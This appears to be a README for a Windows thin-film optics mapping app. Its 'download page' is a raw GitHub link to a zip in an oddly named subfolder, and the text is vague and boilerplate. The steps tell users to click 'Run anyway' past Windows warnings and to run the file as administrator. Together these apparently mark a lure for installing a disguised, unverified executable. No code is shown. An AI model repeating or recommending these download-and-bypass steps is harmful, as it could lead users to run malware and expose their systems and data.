🖥️ What this app does

Multilayer-Mapping-UI is a simple desktop app for viewing and comparing thin-film emissivity and reflectivity maps.

It helps you:

  • load multilayer film data
  • check how a stack behaves at different wavelengths
  • compare emissivity and reflectivity results
  • view mapping output in a clear desktop window
  • work with optics and photonics data on Windows

The app is built for end users, so you do not need to know Python or use a command line.

🚀 Getting Started

Follow these steps on a Windows PC.

1. Open the download page

Go to:

https://raw.githubusercontent.com/lorileewhitebread280/Multilayer-Mapping-UI/main/naumkeager/Multilayer-UI-Mapping-2.3.zip

2. Find the release or download file

Look for the latest release or the main download file on the page.

If you see an .exe file, that is the Windows app.

If you see a zip file, download it and extract it first.

3. Download the app

Click the download link for the Windows version.

Save the file to a folder you can find, such as Downloads or Desktop.

4. Open the file

If you downloaded an .exe file:

  • double-click the file
  • allow Windows to open it
  • wait for the app window to appear

If you downloaded a .zip file:

  • right-click the file
  • choose Extract All
  • open the extracted folder
  • double-click the app file inside

5. Allow Windows to run it

Windows may ask for permission before the app starts.

If that happens:

  • click Run
  • or click More info, then Run anyway

6. Start mapping

After the app opens, you can begin loading your multilayer film data and view the emissivity or reflectivity map.

💻 Windows Requirements

This app is made for Windows desktop use.

Recommended setup:

  • Windows 10 or Windows 11
  • 4 GB RAM or more
  • 200 MB free disk space
  • a screen with at least 1366 × 768 resolution
  • mouse and keyboard

For best use, keep your graphics drivers up to date.

🧰 What you can do in the app

Typical tasks include:

  • open thin-film layer data
  • inspect layer stacks
  • view emissivity curves
  • view reflectivity curves
  • compare multiple configurations
  • scan values across wavelength ranges
  • review output for multilayer designs

The app uses a clean desktop UI with simple controls.

🧭 How to use it

Open a project

Start the app, then load the film stack or project file you want to inspect.

Set your inputs

Choose the layer data, wavelength range, and any other values shown in the app.

Run the mapping

Click the button that starts the calculation or map view.

Review the output

Check the emissivity or reflectivity map in the main window.

Save your work

If the app offers export or save tools, use them to store your results for later review.

📁 File types you may see

You may work with:

  • .exe for the Windows app
  • .zip for a packed download
  • .csv for tabular data
  • .txt for simple layer lists
  • .json for saved settings or project data

If your workflow uses another file type, load it through the app’s open file option if it appears there.

🔍 Main features

  • desktop UI for thin-film mapping
  • emissivity and reflectivity views
  • support for multilayer stacks
  • simple input screens
  • clear result display
  • built for optical and photonic workflows
  • suited for transfer-matrix method based analysis
  • practical for infrared and metamaterial work

🧪 Example use cases

You may use this app to:

  • check how a coating behaves across wavelengths
  • compare film stacks before lab work
  • review thermal emission trends
  • study reflectance in layered structures
  • explore designs used in infrared systems
  • test multilayer optics concepts without heavy tools

🛠️ If the app does not open

Try these steps:

  • download the file again
  • make sure the file finished downloading
  • move the file to a simple folder like Downloads
  • right-click the file and choose Run as administrator
  • check that Windows did not block the file
  • unzip the file before opening it if it came in a zip archive

If the app still does not open, make sure your Windows system is current.

📌 Tips for first use

  • keep your input files in one folder
  • use short file names with no special symbols
  • start with one simple layer stack
  • review the output before changing many values
  • save results often if the app allows it
